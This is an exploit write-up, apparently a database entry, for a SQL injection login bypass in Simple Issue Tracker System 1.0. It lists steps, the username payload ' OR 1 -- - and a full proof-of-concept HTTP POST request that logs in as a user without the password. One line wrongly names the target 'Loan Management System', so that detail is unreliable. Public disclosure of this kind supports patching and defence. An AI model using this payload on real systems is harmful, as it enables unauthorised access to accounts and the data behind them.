Simple Issue Tracker System 1.0 SQL Injection

`# Exploit Title: Simple Issue Tracker System 1.0 - SQLi Authentication Bypass  
# Date: 11.10.2021  
# Exploit Author: Bekir Bugra TURKOGLU  
# Vendor Homepage: https://www.sourcecodester.com/php/14938/simple-issue-tracker-system-project-using-php-and-sqlite-free-download.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14938&title=Simple+Issue+Tracker+System+Project+using+PHP+and+SQLite+Source+Code+Free+Download  
# Version: 1.0  
# Tested on: Windows 10, Kali Linux  
# Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.  
  
  
Steps To Reproduce:  
  
1 - Go to the login page http://localhost/issue_tracker/login.php  
2 - Enter the payload to username field as "admin" or " ' OR 1 -- - " and enter any character in the password field.  
3 - Click on "Login" button and successful login.  
  
PoC  
  
POST /issue_tracker/Actions.php?a=login HTTP/1.1  
Host: 192.168.0.111  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 31  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/issue_tracker/login.php  
Cookie: PHPSESSID=71bod5tipklk329lpsoqkvfcb9  
  
  
username='+OR+1+--+-&password=1  
`